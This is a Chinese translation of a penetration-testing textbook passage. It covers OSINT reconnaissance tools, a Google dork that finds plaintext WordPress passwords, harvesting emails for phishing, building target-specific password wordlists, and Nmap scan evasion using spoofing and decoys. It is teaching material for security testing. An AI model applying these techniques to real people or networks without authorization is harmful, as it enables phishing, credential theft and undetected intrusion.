图 2.1:OSINT 的基本思维导图

进攻性 OSINT

需要收集的信息取决于渗透测试的初步目标。例如,如果测试者想访问个人健康记录,他们将需要相关方(如第三方保险公司、医疗服务提供者、各行业 IT 运营主管、商业供应商等)的姓名和个人信息,以及他们的用户名和密码。如果攻击路径涉及社会工程学,他们可能会补充一些信息,这些信息能增加信息请求的可信度,例如:

  • 域名:攻击者或渗透测试人员在外部场景中识别目标时,从域名开始,这是开源情报(OSINT)中最关键的元素之一。

    • 子域名:这些是主域名的一部分;例如,如果目标域名是sample.com,那么可能会使用demo.sample.comproducton.sample.comecommerce.sample.com等。识别这些域名将为攻击者提供更多的资产,以便在侦察阶段进行评估。

    • DNS 条目:在今天的网络世界中,任何事物都可能联网。这意味着,每个连接到互联网的设备都有一个唯一的 IP 地址。类似地,DNS 条目是分配给特定 IP 地址的便于人类理解的名称列表,例如,demo.sample.com,它会被转换为格式为104.x.x.243的 IP 地址。DNS 条目包括 A(主机名到 IP)、NS(名称服务器)、CNAME(规范名称)、MX(邮件交换)、AAAA(DNS 记录到 IPv6)、SRV(服务记录)、TXT(文本记录)和 PTR(指针记录,相对于 A 记录)。所有这些信息将为攻击者提供不仅仅是与 DNS 相关的详细信息,还包括其他一系列信息——例如,他们运行的是什么类型的服务——攻击者可以利用这些信息来开始制定攻击策略。

    • 邮件交换:虽然我们可以从 DNS 条目中找到 MX 记录,但识别邮件交换被视为一套完全不同的枚举,因为大多数情况下,它们涉及一个提供邮件投递服务的第三方,这些服务可能被攻击者利用,通过 SMTP 正常功能利用邮件中继发送大量邮件。

  • DNS 侦察与路径映射:一旦测试人员识别出具有在线存在并包含感兴趣项目的目标,下一步就是识别目标的 IP 地址和路径。DNS 侦察关注于识别谁拥有特定的域名或 IP 地址系列(例如 WHOIS 信息,尽管自通用数据保护条例(GDPR)实施以来有所变化),DNS 信息定义了分配给目标的实际域名和 IP 地址,以及渗透测试者或攻击者与最终目标之间的路径。

这些信息收集是半主动的——部分信息可以从公开的免费资源中获取,而其他信息则来自第三方,如 DNS 注册商。尽管注册商可能会收集与攻击者请求相关的 IP 地址和数据,但这些信息通常不会提供给最终目标。目标几乎从未审查或保留能够直接监控的信息,如 DNS 服务器日志。由于所需信息可以通过定义的系统化和有条理的方法进行查询,因此其收集可以自动化。

在接下来的章节中,我们将讨论如何仅使用 Kali Linux 中预安装的简单工具就能枚举所有域名。

收集域名信息

我们将利用 sublist3r 工具进行域名收集。这个工具并未预安装在 Kali Linux 中;不过,您可以通过在终端运行 sudo apt install sublist3r 来安装它。这个工具是用 Python 编写的,它将使用 OSINT 技术列举主域名的子域名。它使用如 Google、Bing、Baidu 和 ASK 搜索引擎的 API。此外,它还在 NetCraft、VirusTotal、Threatcrowd、DNSDumpster 和 ReverseDNS 中进行搜索,同时还使用特定的字典进行 DNS 暴力破解。

一旦工具安装完成,攻击者可以运行 sudo sublist3r -d ourtargetcompany.com -t 3 -e bing 来在 Bing 搜索引擎中查找子域名,如 图 2.2 所示,针对 packtpub.com

图 2.2:使用 Bing API 对 packtpub.com 进行 sublist3r 子域名信息收集

可能会遇到 VirusTotal 阻止请求的错误信息。您可以通过输入 export VT_APIKEY=yourapikey 来修复此问题,前提是您需要在 virustotal.com 创建帐户并生成 API 密钥。

Maltego

Maltego 是最强大的 OSINT 框架之一,适用于个人和组织的侦察。它是一个图形界面工具,可以通过多种方法(如电子邮件地址、URL、个人社交媒体网络档案以及两个人之间的共同连接)提取互联网上公开的信息,从而收集任何个人的信息。它还能够列举 DNS、暴力破解普通 DNS,并以易于读取的格式从社交媒体收集数据。

我们可以通过开发已收集数据的可视化来利用这个工具。社区版 Maltego 4.2.17 随 Kali Linux 一起提供。访问该应用程序的最简单方式是通过终端输入 maltego。Maltego 中的任务被称为转换(transforms)。转换内置在工具中,是执行特定任务的代码脚本。

在 Maltego 中,还有多个插件可用,例如 SensePost 工具集、Shodan、VirusTotal 和 ThreatMiner。

使用 Maltego 进行 OSINT 的步骤如下:

  1. 要访问 Maltego,您需要通过访问 https://www.maltego.com/ce-registration/ 创建一个帐户。创建帐户并成功登录 Maltego 应用程序后,您应该会看到 图 2.3 所示的界面:

    图 2.3:Maltego 启动界面

  2. Maltego CE(免费版)下点击运行,同意条款和条件,安装变换,选择一个 Web 浏览器选项(隐私模式),最后点击准备好。这将使我们能够使用社区变换。但是有使用数量限制。

  3. Transform Hub 是 Maltego 客户端允许用户轻松安装来自不同数据提供者的变换的地方,这些变换既有商业变换又有社区变换。

  4. 一切都完成后,您应该准备好使用 Maltego;通过转到菜单文件夹中的机器并点击运行机器来创建一个机器,如图 2.4所示;然后您将能够启动 Maltego 引擎的一个实例。

    图 2.4:在 Maltego 中运行机器

运行机器后,通常会呈现以下机器选择:

  • 公司跟踪者:这将检索与领域相关的所有电子邮件地址,然后查看哪些条目在 LinkedIn 等社交网络站点上有记录。它还通过过滤到特定域作为目标,下载并提取互联网上发布文档的元数据。

  • 查找维基百科编辑:此变换查找来自维基百科编辑的详细信息,并在所有社交媒体平台上搜索它们。

  • 足迹 L1:这执行领域的基本足迹。

  • 足迹 L2:这执行领域的中级足迹。

  • 足迹 L3:这是对领域进行深入的强大深度挖掘,通常需要在 Kali Linux 上谨慎使用,因为它会消耗大量内存资源。

  • 足迹 XML:这适用于大型目标,如公司托管其自己的数据中心,并尝试通过查看发件人策略框架SPF)记录以及向其名称服务器反向委托 DNS 来获取足迹。

  • 人物 - 电子邮件地址:用于获取某人的电子邮件地址并查看其在互联网上的使用情况。输入不是域,而是完整的电子邮件地址。

  • 修剪叶条目:这通过提供删除网络某些部分的选项来过滤信息。

  • Twitter 挖掘器 X:此工具分析别名的推文。

  • Twitter 挖掘器 Y:这用于 Twitter 的关联;它查找推文,提取并分析它。

  • Twitter 监控器:这可用于监视 Twitter 上关于某个短语周围提到的标签和命名实体。输入是一个短语。

  • URL 到网络和域信息:此变换将识别其他顶级域名TLDs)的域信息。例如,如果您提供www.cyberhia.com,它将识别www.cyberhia.co.ukcyberhia.co.in等其他 TLD。

攻击者从 Footprint L1 开始,获取对域名及其潜在子域的基本了解,同时收集相关的 IP 地址。作为信息收集的一部分,从这些信息开始是一个好习惯;然而,攻击者也可以利用之前提到的其他所有机器来达成目标。一旦选定了机器,点击Next并指定一个域名,例如cyberhia.com图 2.5提供了cyberhia.com的概述:

图 2.5:在 Maltego 的 Footprint L1 模块的仪表板上显示cyberhia.com的结果

OSRFramework

OSRFramework 是由 i3visio 设计的一个工具,用于执行开源威胁情报,具有像 OSRFConsole 这样的控制台的 Web 界面。要安装此框架,可以在终端中运行sudo apt install python3-pip来安装pip3。最后,可以通过运行sudo pip3 install osrframework命令直接通过pip3安装 OSRFramework 工具。

OSRFramework 提供了关于多个来源中关键词的威胁情报,还提供了作为独立工具或 Maltego 插件的灵活性。OSRFramework 附带了三个方便的模块,渗透测试人员可以在外部威胁情报数据收集中使用这些模块:

  • usufy:此工具用于在多个搜索引擎中搜索,识别 URL 中的关键词,并自动枚举并将所有结果以.csv格式存储。以下是使用cyberhia作为usufy关键词的输出:

    usufy -n cyberhia 
    
  • mailfy:此工具用于识别关键词,并将电子邮件域名附加到关键词末尾,同时通过 API 调用自动在haveibeenpawned.com上进行搜索:

    mailfy -n cyberhia 
    
  • searchfy:此工具用于在 Facebook、GitHub、Instagram、Twitter 和 YouTube 中搜索关键词。测试人员可以在终端中运行searchfy -q "cyberhia"来查询cyberhia作为searchfy的关键词,如图 2.6所示:

    图 2.6:searchfycyberhia关键词的输出

网络档案

当某些内容从互联网上被删除时,并不意味着它在所有地方都被完全删除。每个 Google 访问过的页面都会作为快照备份在 Google 的缓存服务器中。通常,这些缓存服务器的目的是检查 Google 是否能够为你提供最合适的搜索结果。

攻击者可以使用相同的技术收集关于给定目标的信息。例如,假设一个被黑客攻击的数据库的详细信息发布在sampledatadumpwebsite.com上,而该网站或链接已被从互联网上删除。

如果该页面曾被 Google 访问,这些信息可以成为攻击者获取重要信息的宝贵来源,包括用户名、密码哈希、使用的后端类型以及其他相关的技术和政策信息。

Wayback Machine 维护着互联网页面的数字档案。以下链接是从 Google 缓存中获取历史数据时使用的第二级链接:web.archive.org/web/图 2.7cyberhia.com在 WayBack Machine 中的截图,截取时间为 2018 年 3 月 24 日:

图 2.7:2018 年 3 月时cyberhia.com的缓存页面

Google 缓存、Wayback Machine 以及任何给定域名的实时版本可以直接通过访问cachedviews.com/获取。

Passive Total

RiskIQ 的 Passive Total 是另一个提供特定目标域名 OSINT 的平台注册平台。它既有商业版本,也有社区版(community.riskiq.com/)。攻击者可以在该平台中枚举目标的相关信息,如 DNS 和 IP 地址、证书信息以及特定子域名上发生变化的频率。

图 2.8提供了关于cyberhia.com的详细信息:

图 2.8:搜索 cyberhia.com 时,Passive Total 的输出结果

我们将在Google 黑客数据库部分深入讨论 Google 的隐藏面。

抓取

攻击者利用一种技术从网站上提取大量数据集,这种方法被称为抓取或网页抓取(scraping)。提取的数据会被存储在本地文件系统中。在接下来的部分,我们将使用 Kali Linux 中一些常用的工具进行抓取。

收集用户名和电子邮件地址

theHarvester 是一个 Python 脚本,能够通过流行的搜索引擎和其他网站搜索电子邮件地址、主机和子域名。使用 theHarvester 相对简单,只需设置几个命令选项。可用的选项如下:

  • -d:此选项用于指定要搜索的域名,通常是目标的域名或网站。

  • -b:此选项用于指定数据提取的来源;它必须是以下之一:BingBingAPIGoogleGoogle-ProfilesJigsawLinkedInPeople123PGPAll

  • -l:此限制选项指示 theHarvester 仅从指定数量的搜索结果中提取数据。

  • -f:此选项用于将最终结果保存为 HTML 和 XML 文件。如果省略此选项,结果将只显示在屏幕上,而不会保存。

图 2.9提供了通过运行theHarvester -d packtpub.com -l 500 -b googlepacktpub.com域提取的示例数据。

图 2.9:运行 theHarvester 以收集关于 packtpub.com 的详细信息

请注意,Kali 上可能安装了两个版本的 theHarvester,因此建议使用最新版本的 theHarvester。

攻击者还可以利用 LinkedIn API 提取给定域内的人员列表,并轻松形成有效电子邮件地址和/或用户名的可能列表。例如,当一个组织使用 X.Y@domain.com 格式的名字和姓氏时,例如 vijay.velu@company.com。可以利用 theHarvester 工具列举出目前在组织中工作的用户详细信息;只需运行以下命令即可轻松完成:

theHarvester -d packtpub.com -l 500 -b LinkedIn 

这些结果可以用来创建一个电子邮件 ID 列表,用于执行电子邮件钓鱼攻击。

前员工的电子邮件地址仍然可能派上用场。在进行社会工程攻击时,将信息请求定向到前员工通常会导致重定向,使攻击者看起来像是与前员工有过接触。此外,许多组织并未正确终止员工账户,因此这些凭证可能仍然能够访问目标系统。

获取用户信息

许多渗透测试人员会收集用户名和电子邮件地址,因为这些信息通常用于登录到目标系统。最常用的工具是网络浏览器,它用于手动搜索目标组织的网站以及第三方网站,例如 LinkedIn 或其他社交网站。

渗透测试人员还可以选择在其他门户网站上进行搜索,例如 hunter.io,并/或使用 Firefox 插件,如浏览器中的 Email Extractor,从中提取电子邮件地址。

TinEye

TinEye 是由 Idee, Inc. 开发并提供的在线反向图像搜索门户。简而言之,它是一个类似于 Google 的搜索引擎,但它仅允许用户通过图像进行搜索。这些信息可以帮助攻击者将图像映射到目标,并在精心设计的社会工程攻击中加以利用:

图 2.10:在 TinEye 上进行图像搜索

在线搜索门户

哪里可以找到大量脆弱主机,以及其漏洞详情和截图?通常,攻击者会利用现有漏洞轻松访问系统,因此最简单的方式之一就是在 Shodan 上搜索。Shodan 是一个非常重要的搜索引擎,允许任何人通过各种筛选条件查找连接到互联网的设备。可以通过访问 www.shodan.io/ 来使用它。它是全球范围内最受欢迎的网站之一,提供有关信息的广泛查询。如果搜索公司的名称,它将提供数据库中的相关信息,如 IP 地址、端口号以及正在运行的服务。

图 2.11shodan.io 的一个示例截图,显示了运行 Windows 7 的主机,这使得攻击者能够进一步缩小目标范围并进行横向移动。我们将在后续章节中学习此内容:

图形用户界面 描述自动生成

图 2.11:Shodan 中 Windows 7 的搜索结果

类似于 Shodan,攻击者也可以利用 censys.io API 进行相关信息收集;这可以提供关于 IPv4 主机、网站、证书以及其他存储信息的更多内容。举例来说,图 2.12 提供了关于 cyberhia.com 的信息:

图 2.12:censys.io 中 cyberhia.com 的结果

SpiderFoot

Kali 中包含许多其他自动化工具,可以补充手动搜索。其中之一是 SpiderFoot,它利用 OSINT 自动化执行进攻性和防御性被动侦察。该工具是用 Python 3 编写的,采用 GPL 许可证,并已预装在最新版本的 Kali 中。该工具提供配置多个 API 的选项,以增强结果。

该工具可以通过运行 spiderfoot -l IP:Port 启动,如 图 2.13 所示:

图 2.13:从终端运行 SpiderFoot

一旦引擎启动,你将能够访问 http://IP:port,点击 Settings,并添加你可能已经拥有的所有 API 密钥;例如,将 AbusIPDB.com API 密钥(你可以通过访问 abuseIPDB 创建此密钥)添加到 SpiderFoot,如 图 2.14 所示;然后保存更改。这也可以同样应用于所有需要令牌或 API 密钥的 API:

图 2.14:在 SpiderFoot 设置中添加 AbuseIPDB.com API 密钥

配置完所有设置后,点击 New Scan,输入扫描名称和种子目标,也就是我们目标组织的主域名,并选择 图 2.15 中所示的选项:

图 2.15:在 SpiderFoot 中创建新扫描

SpiderFoot 网页界面提供三种不同方式来运行被动侦察扫描:

  • 按使用案例,渗透测试人员可以选择 All(全部)、Footprint(足迹)、Investigate(调查)和 Passive(被动)(对于渗透测试人员来说,保持隐蔽使用 SpiderFoot 是一个不错的选择)

  • 按所需数据,这将允许渗透测试人员选择他们要查找的信息

  • 按模块,允许测试人员选择他们希望从哪些模块收集信息

这些工具还可以收集关于印刷媒体、学术出版物等的信息。像 Passive Total 一样,这个工具也有商业版和社区版。

一旦完成所需的选择并且扫描运行完毕,你应该会看到类似于 图 2.16 所示的结果:

图 2.16:SpiderFoot 扫描结果输出(正在进行中)

使用 SpiderFoot 执行的 OSINT 的存档可以通过点击 Scans 标签访问,这将显示所有过去和当前运行的扫描,如 图 2.17 所示:

图 2.17:SpiderFoot 扫描详情

其他商业工具

Spyse (spyse.com/) 和 ZoomEye (www.zoomeye.org/) 是非常棒的搜索引擎,可以用于防御性被动侦察,快速收集给定目标的整个攻击面。图 2.18 展示了 Spyse 的界面截图:

图 2.18:Spyse 对 cyberhia.com 的输出

Google Hacking 数据库

在 Covid-19 疫情期间,信息流行病的兴起对世界经济产生了重大影响。公众普遍使用 Google 保持更新;“google it” 是一个常用的成语,指代搜索任何类型的信息,无论是简单的搜索查询,还是在收集特定主题的信息。在本节中,我们将重点介绍渗透测试人员如何通过 Dork 技巧利用 Google 进行搜索。

Google Dork 或 Google Hacking 查询是一个搜索字符串,使用高级搜索技术和方法来查找目标网站上不容易获得的信息。这些 Dork 查询可以返回通过简单搜索查询难以找到的信息。

使用 Dork 脚本查询 Google

理解Google Hacking DatabaseGHDB)的第一步是,测试人员必须了解所有的高级 Google 操作符,就像机器级编程工程师必须理解计算机操作码(也称为操作码,它是指定要执行哪些操作的机器语言指令)一样。

这些 Google 操作符是 Google 查询过程的一部分,搜索语法如下:

operator:itemthatyouwanttosearch 

操作符、冒号(:)和要搜索的项目之间没有空格。表 2.1 列出了所有高级 Google 操作符:

操作符 描述 能与其他操作符组合使用吗? 可以单独使用吗?
intitle 页面标题关键词搜索
allintitle 一次性搜索标题中的所有关键词
inurl 在 URL 中搜索关键词
site 仅限于站点的 Google 搜索结果
extfiletype 搜索特定的扩展名或文件类型
allintext 搜索所有出现次数的关键词
link 在页面上搜索外部链接
inanchor 在网页上搜索锚链接
numrange 限制搜索范围
daterange 限制按日期搜索
author 查找群组作者
group 搜索群组名称
related 搜索相关关键词

表 2.1:GHDB 中可用的高级操作符列表

图 2.19 提供了一个简单的 Google Dork 截图,用于在配置不当的 WordPress 网站上搜索任何明文密码。该 Dork 搜索采用以下格式,输入到搜索框中:

inurl:/wp-content/uploads/ ext:txt "username" AND "password" | "pwd" | "pw" 

Graphical user interface, text, application, email  Description automatically generated

图 2.19:Google dork 搜索输出的明文密码

对于更具体的操作符,我们可以参考 Google 的指南,地址是www.googleguide.com/advanced_operators_reference.html

我们可以利用来自 exploit-db 的 Google 黑客数据库,该数据库由安全研究社区不断更新,地址是www.exploit-db.com/google-hacking-database/

数据泄漏网站

在今天的世界里,任何信息都可以通过像pastebin.com这样的应用快速而有效地在线分享。然而,当开发者将源代码、加密密钥和其他机密信息存储在该应用中并放置在无人看管的地方时,这反而成了一个主要的缺点;这些在线信息为攻击者提供了丰富的信息列表,供其制定更具针对性的攻击。

存档论坛还展示了特定网站的日志或过去的黑客事件记录(如果该网站曾被入侵);Pastebin 也提供这些信息。图 2.20列出了关于目标的机密信息:

Graphical user interface, text, application, email  Description automatically generated

图 2.20:Pastebin 输出的明文用户名和密码

防御性 OSINT

防御性 OSINT 通常用于查看互联网上已有的内容,包括泄露的信息;它还用于评估这些信息在渗透测试中的价值。如果渗透测试的目标是展示一个实际场景,在这个场景中这些数据会有所帮助,第一步是识别一个已经被入侵的相似目标。大多数组织只会修复受影响的平台或主机——他们往往会忽视其他相似的环境。防御性 OSINT 通常分为三个搜索领域。

黑暗网

黑暗网是 Tor 服务器与其客户端之间存在的加密网络,而深网仅仅是指那些由于某种原因无法被传统搜索引擎(如 Google)索引的数据库和其他网络服务的内容。

让我们以过期药物或禁用药物为例,这些药物可能在黑暗网上出售。我们将探索如何使用 Tor 浏览器识别黑暗网上的信息。一些网站,如dark.fail/,提供隐藏深网链接的市场列表,这些链接只能通过 Tor 浏览器访问。图 2.21展示了在这样一个市场上出售的药物示例,名为梦想市场

图 2.21:Darknetlive 梦想市场

尽管各国政府试图封锁这些黑市网站的访问,但总会有这些网站的克隆站点在运行。我们现在已经学会了如何使用 Tor 浏览器访问暗网的信息来源。

安全漏洞

安全漏洞是指通过绕过数据、应用程序、服务、网络和/或设备的底层安全机制,导致未经授权访问的任何事件。一个例子是 2021 年 4 月 Facebook 的数据泄露事件,导致 533 百万用户的详细信息泄露。这可能有助于攻击者创建一个强大的密码字典,我们将在为密码列表创建用户档案中进行讨论。

黑客通常会访问以下网站:

这些网站包含泄露数据的档案。以下截图提供了有关您的电子邮件地址是否在最近的 Facebook 泄露事件中被泄露的信息:www.businessinsider.com/stolen-data-of-533-million-facebook-users-leaked-online-2021-4?r=US&IR=T

图 2.22:确认电子邮件地址是否遭到泄露,以及在 Facebook 数据泄露事件中泄露了哪些其他信息

为了收集更多关于目标的信息,渗透测试人员可以访问像zone-h.com这样提供泄露信息的网站。例如,一个名为 Moroccohackteam 的威胁团体对chinaseeds.com进行了篡改。图 2.23提供了篡改时使用的 IP 地址、Web 服务器和操作系统的详细信息:

图 2.23:chinaseeds.com 被黑事件的输出快照

测试人员可以利用这些不同的来源来列举目标组织或个人的信息,然后在社会工程攻击中加以利用。例如,攻击者可以冒充执法机关通过电子邮件联系受害人,要求他们点击攻击者控制的网站以确认身份。我们将在第五章《高级社会工程学与物理安全》中更详细地学习不同的场景。

公共记录

在进行社会工程或红队活动时,收集关于高层目标(如 C 级高管、董事会成员或 VIP)的信息是非常有用的。公共记录可以用于根据可用的信息创建个人的密码列表。例如,Findmypast 网站提供关于个人(如唐纳德·特朗普)的信息,如图 2.24所示:

图形用户界面,应用程序描述自动生成

图 2.24:在 Findmypast.co.uk 上进行“唐纳德·特朗普”姓名搜索的结果

威胁情报

威胁情报是关于潜在或当前攻击的控制、计算和细化信息,这些攻击威胁到一个组织。此类情报的主要目的是确保组织意识到当前的风险,并根据所呈现的威胁对其进行画像,例如高级持续性威胁APTs)、零日漏洞和其他严重的外部威胁。例如,如果 A 公司——一家医疗药品制造商——通过 APT 遭遇勒索软件攻击,B 公司就能通过获得相关的战术、技术与程序TTPs)来被警示这一威胁,并相应调整其安全措施。

实际上,由于缺乏可信的来源,以及威胁的性质和可能性所带来的支出,组织通常会花费很长时间才能做出决策。在前面的例子中,B 公司可能在现场的系统较少,或者可能不得不暂停所有进出互联网的连接,直到进行内部审查。

这些信息有可能被攻击者利用来攻击网络。然而,这些信息被认为是被动侦察活动的一部分,因为此时尚未对目标发起直接攻击。渗透测试者和攻击者通常会订阅这些开源威胁情报框架,例如ATT&CK 矩阵中的妥协指标IOCs)。

用户画像与密码列表

到目前为止,你已经学会了如何使用被动侦察收集目标用户的姓名和传记信息;这是黑客使用的相同过程。下一步是利用这些信息为用户和目标创建特定的密码列表。

常用密码列表可以下载,并存储在 Kali 的/usr/share/wordlists目录中。这些列表反映了大量用户的密码选择,应用程序在使用每个可能的密码后才能转到下一个密码,这个过程可能会非常耗时。

幸运的是,常见用户密码分析器CUPP)允许渗透测试者为特定用户生成密码列表。在 Kali 的最新版本中,默认并没有安装 CUPP,但可以通过在终端中输入以下命令来安装它:

sudo apt install cupp 

这将下载并安装该工具。CUPP 是一个 Python 脚本,可以通过输入以下命令从 CUPP 目录中直接调用:

root@kali:~# cupp -i 

这将以交互模式启动 CUPP,提示用户输入用于创建密码列表的特定信息。一个示例如图 2.25所示:

图 2.25:使用 CUPP 创建密码列表

创建完密码列表后,它将被放置在cupp目录中。

创建用于破解密码的自定义词汇表

Kali Linux 中有多种现成的工具可以创建用于离线破解密码的自定义词汇表。我们现在来看一下其中的几个。

使用 CeWL 映射网站

CeWL 是一个 Ruby 应用程序,它会爬取给定 URL 到指定深度,可选择跟踪外部链接,并返回一个单词列表,可以在密码破解工具中使用,如 John the Ripper。图 2.26 提供了从 Google 索引页面生成的自定义单词列表:

图 2.26:使用 CeWL 从网页创建自定义密码列表

从网页提取的这些文本有时会包含开发者留下的 HTML 注释,这些注释对于执行更有针对性的攻击非常有用。

使用 twofi 从 Twitter 提取单词

虽然我们可以在 Facebook、Twitter 和 LinkedIn 等社交媒体平台上对用户进行分析,但我们也可以使用 twofi,即 Twitter words of interest。该工具是使用 Ruby 脚本编写的,利用 Twitter API 生成可用于离线密码破解的自定义单词列表。Twofi 默认没有安装在 Kali Linux 中,因此你需要在终端中运行 sudo apt install twofi

要使用 twofi,我们必须拥有有效的 Twitter API 密钥和 API 密钥。确保你在 /etc/twofi/twofi.yml 中输入了这些详细信息。图 2.27 展示了如何在被动侦察中使用 twofi 来生成我们的自定义密码词汇表;在以下示例中,我们运行 twofi -m 6 -u @PacktPub > filename,该命令生成了由 PacktPub Twitter 账户发布的自定义单词列表:

图 2.27:使用 twofi 创建 packtpub.com 的词汇表

Twofi 在单独的定向攻击中非常强大。例如,创建一个频繁使用 Twitter 的用户的个人资料,并使用这些词汇表来破解其他平台(如 Microsoft 365 及其他社交媒体平台)上的密码是很容易的。

总结

本章详细介绍了攻击过程或杀伤链的第一步:进行信息收集或被动侦察,利用 OSINT 的力量识别目标上的关键信息。被动侦察提供了从攻击者视角实时查看目标公司的方式。这是一种隐蔽的评估:攻击者的 IP 地址和活动几乎与正常的商业流量无异。

相同的信息在社会工程攻击中或其他攻击中非常有价值。我们深入探讨了使用自动化工具节省时间,并通过进攻性和防守性的 OSINT 进行了被动侦察。

在下一章,我们将学习主动侦察类型之间的区别,并利用通过 OSINT 收集的数据。尽管主动侦察技术能提供更多信息,但总是伴随着被发现的风险。因此,本章将重点介绍高级隐蔽技术。

第三章:外部和内部网络的主动侦察

主动侦察是直接从目标收集信息的艺术。这个阶段的目的是尽可能多地收集并武器化有关目标的信息,以促进“杀伤链”方法论的利用阶段。在上一章中,我们讨论了如何使用 OSINT 进行被动侦察,这几乎是不可被察觉的,并且能提供关于目标组织及其用户的大量信息。这个阶段建立在 OSINT 和被动侦察获得的结果基础上,强调更加集中的探测,以识别通往目标的路径以及攻击面。一般而言,复杂系统具有更大的攻击面,而每个攻击面都可能被利用,从而支持更多的攻击。

尽管主动侦察能产生更有用的信息,但与目标系统的交互可能会被记录,从而触发保护设备(如防火墙、入侵检测系统IDSes)、入侵防御系统IPSes)和终端检测响应EDR系统)的警报。随着数据对攻击者的有用性增加,检测的风险也随之增加;这一点在图 3.1中有所体现:

图 3.1:数据的有用性与攻击者检测风险

为了提高主动侦察提供详细信息的效果,我们的重点将放在使用最隐蔽的技术上,因为这些技术最难被检测到。在本章中,你将学习以下内容:

  • 隐蔽扫描技术

  • 外部和内部基础设施、主机发现与枚举

  • 对应用程序进行全面侦察,特别是 recon-ng

  • 使用 DHCP 枚举内部主机

  • 在 SaaS 应用程序中枚举服务

  • 渗透测试中有用的微软 Windows 命令

  • 利用默认配置

  • 使用 SNMP、SMB 和 rpcclient 进行用户枚举

隐蔽扫描技术

主动侦察的最大风险是被目标发现。通过测试人员的时间和数据戳、源 IP 地址以及其他信息,目标可以识别侦察的来源。

因此,采用隐蔽技术来最小化被检测的可能性。在支持侦察时,模拟黑客行为的测试人员将执行以下操作:

  • 伪装工具签名以避免被检测,从而触发警报

  • 将攻击隐藏在合法流量中

  • 修改攻击以隐藏流量的来源和类型

  • 使用非标准流量类型或加密使攻击不可见

隐蔽扫描技术可以包括以下部分或全部内容:

  • 调整源 IP 栈和工具识别设置

  • 修改数据包参数(Nmap)

  • 使用带有匿名网络的代理(ProxyChains 和 Tor 网络)

调整源 IP 栈和工具识别设置

在渗透测试员(或攻击者)开始测试之前,我们必须确保 Kali 上所有不必要的服务都被禁用或关闭。这是为了防止被检测到。例如,本地的 DHCP 守护进程已启用但并不需要。DHCP 有可能与目标系统交互,从而被记录并向目标管理员发送警报。其他需要更新的服务可能会与授权服务器或错误报告服务建立网络通信,因此最好在测试过程中禁用所有不需要的服务,只启用执行特定任务所必需的服务。

一些商业和开源工具(例如 Metasploit 框架)会在其数据包中标记一个标识序列。虽然这在测试后分析系统事件日志时非常有用(可以将由特定测试工具发起的事件与系统的事件日志直接比较,以确定网络如何检测和响应攻击),但它也可能触发某些入侵检测系统。在实验室系统中测试你的工具,确定哪些数据包被标记,并且可以选择更改标签或小心使用该工具。

识别标记的最简单方法是将工具应用于新创建的虚拟镜像作为目标,并查看系统日志中的工具名称。此外,使用 Wireshark 捕获攻击者和目标虚拟机之间的流量,然后在数据包捕获pcap)文件中搜索任何可以归因于测试工具的关键词(工具名称、供应商、许可证号等)。

可以通过修改http_form_field选项来更改 Metasploit 框架中的useragent。在msfconsole提示符下,选择使用auxiliary/fuzzers/http/http_form_field选项,然后设置一个新的useragent头,如图 3.2所示:

图 3.2:在 Metasploit 辅助工具中更改 User agent

在这个例子中,useragent被设置为 Google 的索引蜘蛛Googlebot-Image。这是一个常见的自动化应用程序,访问并索引网站,很少引起网站所有者的注意。

渗透测试人员还可以选择使用插件,如 Firefox 的 User agent 切换器:addons.mozilla.org/en-GB/firefox/addon/uaswitcher/

另一种选择是使用 Chrome 的 User agent 切换器:

chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg

要识别合法的useragent头,请参考以下示例:

www.useragentstring.com/

修改数据包参数

最常见的主动侦察方法是对目标进行扫描,向其发送特定数据包,然后利用返回的数据包获取信息。这类工具中最受欢迎的是网络映射工具Nmap)。要有效使用 Nmap,必须以 root 权限运行。这是操作数据包的应用程序的常规要求,因此我们将在所有 Nmap 查询中使用sudo

在尝试减少被检测时,一些隐匿技术包括以下几种:

  • 攻击者带着明确的目标接近目标,并仅发送足够数量的数据包来确定目标。例如,如果你想确认一个 Web 主机的存在,你首先需要确定80443端口(Web 服务的默认端口)是否开放。

  • 避免可能与目标系统建立连接并泄露数据的扫描。不要 ping 目标,或者使用同步SYN)以及非常规数据包扫描,如确认ACK)、完成FIN)和重置RST)。

  • 随机化或伪造数据包设置,例如源 IP 和端口地址,以及 MAC 地址。

  • 调整时间设置,减缓数据包到达目标站点的速度。

  • 通过分片数据包或附加随机数据改变数据包大小,以混淆数据包检查设备。

作为示例,如果你想进行隐匿扫描并尽量减少被检测,可以使用以下nmap命令:

# nmap --spoof-mac Cisco --data-length 24 -T paranoid --max-hostgroup 1 --max-parallelism 10 -Pn 10.10.10.100/24 -v -n -sS -sV -oA output -p T:1-1024 --randomize-hosts 

表 3.1 详细说明了前述命令:

命令 原理
--spoof-mac-Cisco 伪造 MAC 地址,使其与 Cisco 产品匹配。如果将 Cisco 替换为 0,则会生成完全随机的 MAC 地址。
--data-length 24 这会将 24 个随机字节附加到大多数发送的数据包中。
-T paranoid 将时间设置为最慢模式:paranoid。
--max-hostgroup 限制同时扫描的主机数量。
--max-parallelism 限制发送的未完成探测数。你还可以使用--scan-delay选项设置探测之间的暂停;然而,该选项与--max_parallelism选项不兼容。
-Pn 不发送 ping 以识别活动系统(因为这可能泄露数据)。
-n 禁用 DNS 解析:Nmap 不会主动查询内部或外部 DNS 服务器获取 DNS 信息。这类查询通常会被记录,因此应该禁用查询功能。
-sS 进行隐匿的 TCP SYN 扫描,这种扫描不会完成 TCP 三次握手。其他扫描类型(例如,空扫描)也可以使用;然而,大多数此类扫描会触发检测设备。
-sV 启用版本检测。
-oA 该选项将结果输出为所有格式(XML、gnmap 和 nmap)。
-p T:1-1024 指定要扫描的 TCP 端口。
--random-hosts 随机化目标主机顺序。

表 3.1:对前述 Nmap 命令的详细解析

这些选项将共同创建一个非常缓慢的扫描,以隐藏源的真实身份。然而,如果数据包过于异常,复杂的修改实际上可能会引起目标的注意;因此,许多测试者和攻击者使用匿名网络来最小化被检测的风险。

攻击者还可以通过运行以下命令利用诱饵或僵尸方法:-D 是开关,诱饵可以是任何 IP 地址;RND:10 是一组 10 个随机 IP 地址,伪装成攻击源。当我们在 Nmap 中使用 –sI 开关时,目标应该会接收到来自僵尸 IP 的警报:

nmap -n –D Decoy1,decoy2,decoy3 targetIP 
nmap –D RND:10 targetIP
nmap -sI [Zombie IP] [Target IP] 

使用代理与匿名网络

在本节中,我们将探讨攻击者用来在网络上保持匿名的两个重要工具。我们将在本节中重点介绍 Tor 和 Privoxy。

